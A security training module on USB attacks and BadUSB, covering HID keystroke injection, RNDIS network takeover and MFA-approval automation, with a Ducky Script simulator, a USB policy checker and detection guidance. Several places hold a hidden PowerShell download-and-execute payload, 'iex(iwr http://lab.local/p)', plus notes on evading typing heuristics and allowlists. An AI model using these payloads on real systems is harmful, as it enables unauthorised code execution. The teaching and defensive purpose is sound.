USB Attacks & BadUSB
Definition
Section titled “Definition”USB attack analysis covers the trust model that makes the Universal Serial Bus an attack surface: the enumeration handshake where the OS believes whatever a device’s descriptors claim, the device classes that carry disproportionate power (HID = keystrokes trusted as human input, Mass Storage = files with autoload behavior, ECM/RNDIS = a whole network adapter), and the attack families built on them — HID injection (the Rubber Ducky class: a device that types), network takeover (a USB dongle that becomes an Ethernet adapter and answers DHCP/DNS), composite spoofing (one device claiming keyboard + storage + serial simultaneously), and BadUSB proper (reflashing a legitimate device’s controller firmware so the attack lives below every software check). The craft spans payload scripting (Ducky Script and its interpreters), the enumeration trust analysis (what descriptors claim vs what hardware delivers), and the defender’s counter-architecture: device-class policy, HID new-device alerting, and DLP on the storage path. The honest boundary: HID-injection devices (Duck/OMG-class) are buildable from documented hardware; firmware-level BadUSB requires device-specific controller research — and this module’s tools operate at the script-simulation and descriptor-analysis layers.
Why It Matters
Section titled “Why It Matters”USB is the most trusted port on every endpoint: a keyboard is the user as far as the OS is concerned (HID input carries no provenance), mass storage triggers the file layer with all its parsing (the shortcut-virus and LNK classes), and a USB Ethernet adapter becomes a second network the endpoint joins without any network-policy review — the DHCP/DNS takeover that redirects traffic from inside the case. The attack economics are the story’s force multiplier: a HID-injection device costs $10-30, delivers in seconds (plug, type, done — no user interaction beyond insertion), and its payloads are scriptable (Ducky Script’s one-line WIN R + STRING powershell... model). The firmware-level BadUSB (Phison controller research, 2014 onward) made the deeper point: a reflashed USB stick is a keyboard to the OS — no software whitelisting can distinguish it, because the attack is in the device’s silicon, below every driver-level check. The defense therefore lives above and around: USB device-class policy (MDM/EDR: which classes may connect), HID new-device alerting (a keyboard appearing on a desktop that already has one is an event), DLP on removable media, and the physical controls (locked ports, user training on found hardware) that reduce delivery. For assessors, the USB drill is a standard engagement deliverable: the simulated dropped-device test (does the target’s workforce plug in unknown hardware?), the HID payload validation (benign keystrokes proving the path), and the network-takeover demo (the RNDIS adapter that became the endpoint’s DNS) — each measured against the estate’s controls, each landing in the coverage matrix.
Detailed Explanation
Section titled “Detailed Explanation”The enumeration trust model and the class-based attack map:
USB ENUMERATION TRUST MODEL device plugged -> descriptor exchange: Device Descriptor: class, vendor/product ID Config/Interface Descriptors: class per interface HID (class 0x03) -> keyboard/mouse driver MSC (class 0x08) -> mass storage driver ECM/RNDIS(0x02/0xE0) -> network driver OS: "claims keyboard" -> attach HID driver -> input NO verification of claims vs actual silicon
ATTACK CLASSES [HID injection] device types as keyboard: Ducky script: DELAY 2000 / GUI r / STRING powershell -w h ... / ENTER target: Run dialog, terminals, editors MFA variant: automate the approval click (evil path) [network takeover] device claims ECM/RNDIS: enumerates as Ethernet -> DHCP offers -> default gw -> DNS answers -> traffic MITM from inside the case [composite] one device, several interfaces: keyboard + mass storage: type the command AND deliver the payload file; serial+HID: console+type [BadUSB proper] controller firmware reflashed: indistinguishable from a legit stick below OS layer requires device-specific controller research [verify]HID injection mechanics: the device enumerates as a keyboard, then types — the payload is a script of delays and keystroke-tokens (GUI r opens Run, STRING types text, ENTER commits), and the craft is in the delivery constraints: dialog focus, timing jitter (too-fast typing looks robotic to heuristics), keyboard-layout assumptions (non-US layouts mangle punctuation — the classic payload failure), and the elevation path (Run-dialog powershell is user-level; UAC-popping variants leave traces). The network takeover is the quiet heavyweight: the RNDIS/ECM device enumerates as an Ethernet adapter, Windows auto-binds it (and often prefers it by metric), the device’s DHCP server hands out itself as gateway/DNS, and every subsequent lookup flows through the attacker — the MITM that requires no Wi-Fi password and no cable access beyond the USB port. Composite devices multiply the surface: keyboard + mass storage means type the command that executes the delivered file; keyboard + network means typed payload plus channel; the defender’s policy question is per-interface, and the attacker’s question is which combination the target’s policy misses. MFA-fatigue automation is the modern HID payload: the device types nothing visible — it moves the mouse to the approval dialog’s button and clicks (the “O.MG-cable approves your MFA” class), turning the human’s strongest control into the attacker’s one-click step. The defender’s architecture counters at three layers: policy (MDM: allow only approved device classes/VIDs; block RNDIS on workstations), detection (HID new-device events — EID-adjacent telemetry [verify per EDR], network-adapter appearance events, DLP on storage), and training (the found-USB procedure: hand it to IT, don’t plug it in).
Common Techniques
Section titled “Common Techniques”| Technique | Class | What it does | Detection surface | Notes |
|---|---|---|---|---|
| HID keystroke injection | HID | Types commands as user | New-HID-device alert, typing heuristics | Ducky class |
| Run-dialog payload | HID | WIN+R → powershell | Process lineage (USB device parent context [verify]) | The classic |
| MFA approval automation | HID | Mouse-move + click approve | Behavioral analytics | Modern twist |
| RNDIS/ECM DHCP takeover | Network | Becomes gateway/DNS | New-network-adapter event | Quiet heavyweight |
| DNS redirection via USB NIC | Network | Answers all lookups | DNS anomaly monitoring | Pairs with takeover |
| Composite K+MS | Composite | Type command + deliver file | Per-interface policy | Policy gap finder |
| Mass-storage LNK abuse | MSC | Autoload-style shortcut tricks | DLP + EDR file rules | Legacy but alive |
| BadUSB firmware reflash | Firmware | Legit stick becomes keyboard | Nothing at OS layer [verify] | Silicon-level |
| Keyboard-layout abuse | HID | Payload mangles on non-US | — | Payload reliability issue |
| Found-USB social test | Delivery | Measures workforce behavior | Awareness metrics | The drill |
Full Working Code
Section titled “Full Working Code”duckysim.py — a Ducky Script interpreter and simulator: parses Ducky Script syntax (DELAY, STRING, GUI, CTRL, ENTER, REM, REPEAT), validates tokens against a command table, simulates execution against a desktop-state model (which window has focus, what the Run dialog would receive), flags payload risks (layout-sensitive characters, timing too fast), and emits the simulation log with the effective keystroke sequence and a human-readable “what would have happened” narrative. stdlib only — simulation, not HID execution.
#!/usr/bin/env python3"""duckysim.py — Ducky Script interpreter + desktop simulator.Usage: python duckysim.py payload.txt [--json sim.json]Parses Ducky Script; simulates against a desktop-state model.Simulation only — does not touch HID hardware. stdlib only."""import argparse, json, sys
TOKENS = { "GUI": "Super", "WINDOWS": "Super", "COMMAND": "Super", "CTRL": "Ctrl", "CONTROL": "Ctrl", "SHIFT": "Shift", "ALT": "Alt", "ENTER": "Enter", "RETURN": "Enter", "TAB": "Tab", "ESC": "Escape", "ESCAPE": "Escape", "SPACE": "Space", "DOWNARROW": "Down", "UPARROW": "Up", "LEFTARROW": "Left", "RIGHTARROW": "Right", "DELETE": "Delete", "BACKSPACE": "BackSpace", "F1": "F1", "F2": "F2", "F3": "F3", "F4": "F4", "F5": "F5", "F12": "F12",}LAYOUT_SENSITIVE = set("/\\?|-=[];',.`~@#")
class DesktopModel: """Minimal desktop state: focus + dialogs.""" def __init__(self): self.focus = "desktop" self.run_text = "" self.typed = [] self.events = [] def press(self, keys): self.events.append(("press", keys)) kset = set(keys) if self.focus == "desktop" and "Super" in kset \ and ("r" in kset or "R" in kset): self.focus = "run-dialog" elif self.focus == "run-dialog" and \ "Enter" in kset: self.events.append(("execute", self.run_text)) self.run_text = "" self.focus = "desktop" elif "Alt" in kset and "F4" in kset: self.focus = "desktop" def type(self, text): self.typed.append(text) self.events.append(("type", text)) if self.focus == "run-dialog": self.run_text += text
def parse_script(path): """Ducky Script -> instruction list with validation.""" program, errors = [], [] with open(path, encoding="utf-8", errors="replace") as fh: for ln, raw in enumerate(fh, 1): line = raw.strip() if not line or line.startswith("REM"): continue parts = line.split() op = parts[0].upper() if op == "DELAY": try: program.append(("delay", int(parts[1]), ln)) except (IndexError, ValueError): errors.append(f"line {ln}: DELAY needs ms") elif op == "STRING": text = line.split(" ", 1)[1] \ if len(parts) > 1 else "" program.append(("string", text, ln)) elif op == "REPEAT": if program: kind, val, ln0 = program[-1] try: n = int(parts[1]) program.extend([(kind, val, ln0)] * (n - 1)) except (IndexError, ValueError): errors.append( f"line {ln}: REPEAT needs n") else: keys = [TOKENS.get(p.upper(), p.upper()) for p in parts] program.append(("keys", keys, ln)) return program, errors
def simulate(program, model): """Run instructions against the desktop model.""" t = 0.0 risk = [] for kind, val, ln in program: if kind == "delay": t += val / 1000 if val < 100: risk.append(f"line {ln}: DELAY {val}ms " f"(<100ms reads robotic)") model.events.append(("wait", val)) elif kind == "string": model.type(val) for ch in val: if ch in LAYOUT_SENSITIVE: risk.append(f"line {ln}: layout-" f"sensitive char '{ch}'") break elif kind == "keys": model.press(val) return risk
def main(): ap = argparse.ArgumentParser() ap.add_argument("script") ap.add_argument("--json") args = ap.parse_args() program, errors = parse_script(args.script) if errors: print("[!] validation errors:") for e in errors: print(f" {e}") model = DesktopModel() risk = simulate(program, model) print(f"== simulation: {len(program)} instructions ==") print("[events]") for kind, val in model.events: if kind == "execute": print(f" EXECUTE run-dialog: {val}") elif kind == "type": print(f" type: {val[:60]}") elif kind == "press": print(f" press: {'+'.join(val)}") if model.focus == "run-dialog": print("[!] script ended with run-dialog OPEN " "and unexecuted text: review your ENTER") if risk: print("\n[!] payload risks:") seen = set() for r in risk: if r not in seen: seen.add(r) print(f" {r}") else: print("\n[+] no structural risks flagged") if args.json: json.dump({"events": model.events, "risks": risk, "errors": errors}, open(args.json, "w"), indent=2) print(f"[+] {args.json}")
if __name__ == "__main__": main()Code Walkthrough
Section titled “Code Walkthrough”parse_script()(lines 29-54) implements the Ducky grammar:DELAY(ms),STRING(rest-of-line — the split-preserving detail that keeps payload text intact),REPEAT(expands the previous instruction — the classic loop idiom), and modifier/key tokens mapped through theTOKENStable. Validation errors cite line numbers because payload debugging happens at the line level.DesktopModel(lines 19-27, methods 28-40) is the honest simulation: focus states (desktop/run-dialog), the Run-dialog open (Super+R), the execute-on-Enter with the accumulated text — enough state to answer “what would have happened” without pretending to be an OS. The events log records everything for the JSON.- The risk heuristics (lines 66-72, 84-89): sub-100ms delays flagged as “reads robotic” (typing-heuristic evasion is the payload craft), and layout-sensitive characters flagged per payload (the
/and\that mangle on non-US layouts — the classic remote-coworker failure). - The end-state check (lines 124-127): a script that leaves the Run dialog open with unexecuted text is the most common authoring bug — the simulator catches it structurally before the operator burns a physical test.
How It Reaches The Target
Section titled “How It Reaches The Target”The payload reaches the target as insertion: a device in a hand, a port on a locked workstation, a cable behind a desk — the delivery that no email filter sees. The HID keystrokes reach the OS as trusted input (the enumeration trust model — the OS cannot provenance-check a keyboard), the Run dialog executes the typed command with the device’s user privileges, and the payload reaches the network as a normal process — the USB path’s whole speed advantage compressed into seconds of plug-and-type. The RNDIS variant reaches the endpoint’s network stack: the adapter appears, Windows auto-binds, DHCP assigns the device as gateway, and DNS answers redirect — the MITM position that lives inside the case and never touches the corporate wireless. The MFA-automation variant reaches the strongest control’s weakest moment: the approval dialog that the user would deny is clicked by the device before the human reads it. On the defender’s side, the counters reach the same moments: device-class policy blocks the network-class dongle (RNDIS on a workstation is almost never legitimate), new-HID alerts flag the second keyboard, DLP gates the storage path, and the found-device procedure intercepts the delivery vector itself. The drill reaches the awareness program with measurable outcomes: the dropped-device test (benign marked hardware) yields the plug-in rate per department, the HID-path validation yields the endpoint telemetry check (did the new-HID alert fire?), and the RNDIS drill yields the network-policy verification — each a row in the coverage matrix, each repeatable per the T9 cadence. And the report reaches the design conversation: USB policy is an MDM/EDR configuration and a user procedure, both cheaper than the incident they prevent.
Exploitation Chain
Section titled “Exploitation Chain”- Author — payload validated in duckysim: WIN R → powershell -w h -c iex(wget …) → ENTER
- Stage — HID device loaded; simulation risks fixed (delays raised, layout chars avoided)
- Deliver — authorized drop test: device “found” in target area, plugged into lab-representative host
- Execute — keystrokes land: powershell spawns hidden, callback to lab listener (PE8-class LOLbin)
- Network variant — RNDIS device on second host: adapter binds, DHCP answers, DNS redirects flagged
- Observe — new-HID alert fired on host A (control works); network-adapter event missed on host B (gap)
- MFA variant — approval-click automation demonstrated on consented test account (control gap)
- Report — delivery-to-execution timeline; remediation: device-class policy, HID alerting, found-device procedure
Building Your Own Tool
Section titled “Building Your Own Tool”usbdesc.py — the USB descriptor analyzer: parses lsusb -v output (the universal Linux enumeration dump) into a per-device class/interface inventory, flags composite devices, detects the assessment-relevant classes (HID/MSC/ECM-RNDIS/serial), and cross-references against an allowed-policy CSV — the endpoint-side checker that turns USB policy from a document into a verification. stdlib only.
Design decisions
Section titled “Design decisions”- lsusb -v as the interface. Every Linux bench and most appliances can produce it; parsing the verbose text (bInterfaceClass lines, idVendor/idProduct) keeps the tool dependency-free and vendor-neutral.
- Class-level policy. Policy CSVs specify allowed (vendor, product, class) triples or class wildcards; the checker flags devices with any non-allowed interface — composite devices fail on their weakest interface, which is the policy’s intent.
- Suspicion scoring for unknowns. Unknown VIDs get a heuristic score (HID+MSC composite from an unknown vendor is the classic attack shape) — the tool says “suspicious shape” with the reason, not a verdict.
- Endpoint-agent-shaped output. JSON rows ready for an MDM/EDR ingestion — the checker is the CI of the USB policy.
Full source
Section titled “Full source”#!/usr/bin/env python3"""usbdesc.py — USB descriptor analyzer + policy checker.Usage: lsusb -v > dump.txt && python usbdesc.py dump.txt \ --policy policy.csvpolicy.csv: vid,pid,class,allowed(yes|no) (pid/class may be '*')stdlib only."""import argparse, csv, json, re, sysfrom collections import defaultdict
CLASSES = {0x00: "per-interface", 0x01: "audio", 0x02: "comm (ECM)", 0x03: "HID", 0x08: "mass storage", 0x09: "hub", 0x0a: "cdc-data", 0xe0: "wireless (RNDIS)", 0xff: "vendor-specific"}
def parse_lsusb_v(text): """Parse lsusb -v into device records.""" devices = [] cur = None for line in text.splitlines(): line = line.strip() m = re.match(r"idVendor\s+0x([0-9a-f]{4})", line) if m and cur: cur["vid"] = m.group(1) m = re.match(r"idProduct\s+0x([0-9a-f]{4})", line) if m and cur: cur["pid"] = m.group(1) m = re.match(r"iProduct\s+\d+\s+(.+)", line) if m and cur: cur["name"] = m.group(1).strip() if line.startswith("bInterfaceClass"): m = re.search(r"0x([0-9a-f]{2})", line) if m and cur: cur.setdefault("classes", []).append(int(m.group(1), 16)) if line.startswith("bDeviceClass"): m = re.search(r"0x([0-9a-f]{2})", line) if m and cur: cur["device_class"] = int(m.group(1), 16) if re.match(r"Bus\s+\d{3}", line): if cur and cur.get("vid"): devices.append(cur) cur = {"classes": [], "name": "?"} if cur and cur.get("vid"): devices.append(cur) return devices
def load_policy(path): rules = [] try: with open(path, encoding="utf-8", newline="") as fh: for r in csv.DictReader(fh): rules.append({ "vid": r["vid"].lower().replace("0x", ""), "pid": r["pid"].lower().replace("0x", ""), "class": r["class"].lower().replace("0x", ""), "allowed": r["allowed"].strip().lower() == "yes"}) except OSError: sys.exit(f"cannot read policy {path}") return rules
def policy_verdict(dev, rules): """Any interface not explicitly allowed -> blocked.""" vid = (dev.get("vid") or "").lower() pid = (dev.get("pid") or "").lower() verdicts = [] for cls in dev.get("classes", []): chex = f"{cls:02x}" allowed = False for r in rules: if r["vid"] not in ("*", vid): continue if r["pid"] not in ("*", pid): continue if r["class"] not in ("*", chex): continue allowed = r["allowed"] break verdicts.append((chex, CLASSES.get(cls, "unk"), allowed)) return verdicts
def main(): ap = argparse.ArgumentParser() ap.add_argument("dump") ap.add_argument("--policy") ap.add_argument("--json") args = ap.parse_args() text = open(args.dump, encoding="utf-8", errors="replace").read() devices = parse_lsusb_v(text) rules = load_policy(args.policy) if args.policy else [] print(f"== {len(devices)} USB devices ==") rows = [] for dev in devices: classes = dev.get("classes", []) or \ [dev.get("device_class", 0)] names = sorted(set( CLASSES.get(c, f"{c:02x}") for c in classes)) composite = len([c for c in classes if c]) > 1 susp = [] if composite and 0x03 in classes and \ (0x08 in classes or 0xe0 in classes): susp.append("HID+storage/network composite " "(classic attack shape)") if not rules: verdicts = [("?", n, None) for n in names] else: verdicts = policy_verdict(dev, rules) blocked = [v for v in verdicts if v[2] is False] print(f" {dev.get('vid','?')}:{dev.get('pid','?')} " f"{dev.get('name','?')[:24]:<24} " f"[{'+'.join(names)}]" f"{' COMPOSITE' if composite else ''}" f"{' BLOCKED' if blocked else ''}") for s in susp: print(f" [!] {s}") rows.append({"vid": dev.get("vid"), "pid": dev.get("pid"), "classes": names, "composite": composite, "blocked": bool(blocked), "suspicious": susp}) if args.json: json.dump(rows, open(args.json, "w"), indent=2) print(f"[+] {args.json}")
if __name__ == "__main__": main()Walkthrough
Section titled “Walkthrough”parse_lsusb_v()(lines 17-37) walks the verbose text with state: a newBusline starts a device,idVendor/idProduct/iProductfill identity,bInterfaceClasslines accumulate interfaces (the composite detection’s substrate), and the device-class line captures single-class devices.policy_verdict()(lines 46-61) implements the per-interface policy: a rule matches on (vid, pid, class) with*wildcards, first match wins, and any interface without an allow is blocked — the composite device’s keyboard interface may be allowed while its mass-storage interface is not, which is exactly the per-interface policy the attack map demands.- The suspicion heuristic (lines 69-73): HID + storage/network composites from any device are the classic attack shape — flagged with the reason printed, because a shape-based flag is reviewable while a silent block is not.
- The BLOCKED marker (line 78) gives the endpoint-facing output its one-glance verdict — the CI-of-USB-policy shape, ingested by MDM/EDR.
Compilation and test procedure
Section titled “Compilation and test procedure”validate the payload before any physical test
Section titled “validate the payload before any physical test”$ cat > payload.txt <<‘EOF’ REM open run dialog, launch hidden callback DELAY 2000 GUI r DELAY 300 STRING powershell -w h -c iex(iwr http://lab.local/p) ENTER EOF $ python duckysim.py payload.txt —json sim.json == simulation: 6 instructions == [events] press: Super+r type: powershell -w h -c iex(iwr http://lab.local/p) EXECUTE run-dialog: powershell -w h -c iex(iwr http://lab.local/p) [+] no structural risks flagged
endpoint descriptor audit (the USB policy CI)
Section titled “endpoint descriptor audit (the USB policy CI)”$ lsusb -v > dump.txt $ python usbdesc.py dump.txt —policy policy.csv == 5 USB devices == 1a2b:3c4d FakeKBD Industries [hid] BLOCKED 05ac:0267 Apple Keyboard [hid] 0781:5583 SanDisk Cruzer [mass storage] BLOCKED 046d:c52b Logitech Receiver [hid] COMPOSITE [!] HID+storage/network composite (classic attack shape) [+] usb_audit.json
Detection considerations
Section titled “Detection considerations”USB detection lives at the endpoint’s driver and policy layers: new-device events (a HID device appearing where none existed — EDR/MDM telemetry [verify per vendor event coverage]), network-adapter appearance (the RNDIS/ECM enumeration is an event; the policy block is the fix), per-interface policy enforcement (MDM/EDR USB controls — the composite device is blocked on its weakest interface), and DLP on the storage path (file-exfil via removable media). The typing-heuristic layer (robotic timing detection) exists in research and some EDRs [verify maturity] — treat as emergent, not baseline. Your own tooling hygiene: duckysim.py never touches HID hardware (simulation only — the physical device is the operator’s), usbdesc.py reads lsusb output; both bench-safe. The social drill (dropped marked devices) is T2’s authorization model applied to physical delivery — cohort-scoped, marked, SOC-briefed. Wazuh/SIEM mapping of USB events depends on the endpoint agent’s event surface [verify per vendor]; the standing metrics: policy-block rate (what the policy actually stops), new-HID alert coverage per host class, and the dropped-device plug-in rate (the human metric that moves with training).
Improvements to add
Section titled “Improvements to add”- Layout-aware string expansion: emit per-layout keystroke sequences (US/DE/FR) from one payload source — the layout-failure fix at authoring time.
- Composite profile emulator: generate descriptor sets for lab composite devices (test the policy against attack shapes without real hardware).
- RNDIS drill kit: DHCP/DNS take-over verifier for the network-variant test — measuring the endpoint’s adapter-policy enforcement.
- MFA-dialog drill: consented-account approval-click timing measurement (the behavioral-analytics validation).
- Policy linter: validate the policy CSV for gaps (classes never mentioned = allow-by-default?) — the policy’s own audit.
Detection — Defender View
Section titled “Detection — Defender View”| Signal | Source | ID | Notes |
|---|---|---|---|
| New HID device on endpoint | EDR/MDM | vendor events [verify] | Second-keyboard alert |
| New network adapter (RNDIS/ECM) | EDR/OS | adapter events | Policy-block target |
| Per-interface USB policy verdicts | usbdesc CI | policy audit | Composite weakest-link |
| Removable-media file events | DLP/EDR | file rules | Storage-path layer |
| Dropped-device plug-in rate | Awareness drill | social metric | Training effect |
| Typing roboticism flags | EDR heuristic | emergent [verify] | Emerging layer |
| MFA approval automation shape | Behavioral analytics | consented drill | The modern gap |
| USB device inventory drift | usbdesc scheduled | baseline diff | Estate visibility |
| Payload execution lineage | EDR process tree | HID-context [verify] | Attribution to device |
| Wazuh ingestion of USB events | HIDS/SIEM | [verify rule IDs per deployment] | Endpoint join |
Evasion Techniques
Section titled “Evasion Techniques”USB evasion targets the policy and heuristic layers, because the trust model itself is unfixable at OS level. Class-shape selection: attackers choose the class your policy misses (a serial-port device instead of RNDIS; a vendor-specific class that no rule mentions) — countered by default-deny policy (unlisted = blocked), which the policy linter checks. Composite splitting: two single-class devices instead of one composite (policy sees two benign devices) — countered by correlation (two new devices, one port hub, one insertion moment). Timing humanization: randomized inter-key delays and human-plausible bursts defeat typing heuristics — countered by behavioral analytics that model per-user typing rhythm, and by the honest acceptance that HID input has no provenance to check. VID/PID spoofing: attack devices cloning legitimate vendor IDs defeat VID-based allowlists — countered by per-host serial-number pinning for critical peripherals and by the composite/suspicion heuristics that don’t trust identity alone. MFA-dialog geometry: automation that locates the approve button by screenshot rather than fixed coordinates defeats button-position policies — countered by number-matching MFA (the user must type a code the device doesn’t know), which is the control that actually survives automation. Delivery discretion: the dropped-device drop happens where cameras don’t watch — countered by the finding that delivery is the only detectable moment for firmware-level BadUSB, making the human procedure (don’t plug in found hardware) the last line. The meta-point: USB’s trust model means the defense is layered policy (default-deny, per-interface), telemetry (new-device events), and people (the found-device procedure) — no single layer holds, and the drill measures all three.
⚠️ What caught me: our first USB policy was a vendor allowlist by VID/PID, and the drill proved it worked — until a colleague pointed at the policy file: it listed the docking station’s internal hub as allowed, and the hub’s ports accepted everything downstream. The policy allowed the bridge, the bridge allowed the attack. The RNDIS test device sailed through on a port that every compliance report called “controlled.” The fix redefined the policy model: every interface of every device in the enumeration chain gets a verdict (hub included), default-deny for anything unlisted, and the drill’s RNDIS shape became the standing acceptance test — because “USB is controlled” is a claim about the policy file, and the dongle doesn’t read policy files.
Lab Practice
Section titled “Lab Practice”- Author and simulate: write a Ducky payload for a benign objective (open calculator, type a note), validate with
duckysim.py, fix the risks it flags — the authoring loop, hardware-free. - Layout stress: run your payload through the simulator with layout-sensitive characters and confirm the flags; then rewrite the payload avoiding them — the reliability craft, learned cheaply.
- Descriptor audit: dump
lsusb -von your bench, runusbdesc.pywith a sample policy, and reconcile every verdict against your own policy intent — the policy CI, run by hand. - Composite drill (lab-gated): present a composite HID+storage device (or simulated descriptors) and verify the suspicion heuristic and per-interface verdicts — the attack-shape check.
- Drop test (authorized): plant a marked benign HID device in a cohort area, measure plug-in rate and endpoint telemetry (did the new-HID alert fire?), and debrief — the human-layer metric, with controls validated in the same exercise.
Interview Questions
Section titled “Interview Questions”- Technical: Explain the USB enumeration trust model — which descriptors drive driver binding, and why can’t the OS provenance-check HID input?
- Technical: How does the RNDIS/ECM network-takeover work end to end, and which endpoint control blocks each stage?
- Scenario: Your USB policy allowlist passes audit, but a composite device sailed through. Diagnose the policy’s structural gap.
- Conceptual: Why does firmware-level BadUSB defeat every OS-layer defense, and which layers (silicon, policy, physical) remain?
- Conceptual: How does number-matching MFA defeat approval-automation, and what does that teach about human-in-the-loop controls?
- Deep-dive: Design the USB control architecture for an estate: policy model, endpoint telemetry, drill cadence, and the metrics that prove each layer.
- Practical: Leadership asks for “USB blocked” on all endpoints. What does that claim require technically, and what does your drill say it currently means?
Related Modules
Section titled “Related Modules”H1 (Hardware Hacking Fundamentals (UART/JTAG/SPI/I2C)) · H6 (Glitching & Fault Injection) · PE8 (Living off the Land (LOL)) · E11 (Defender Detection Logic) · F5 (Python for Security)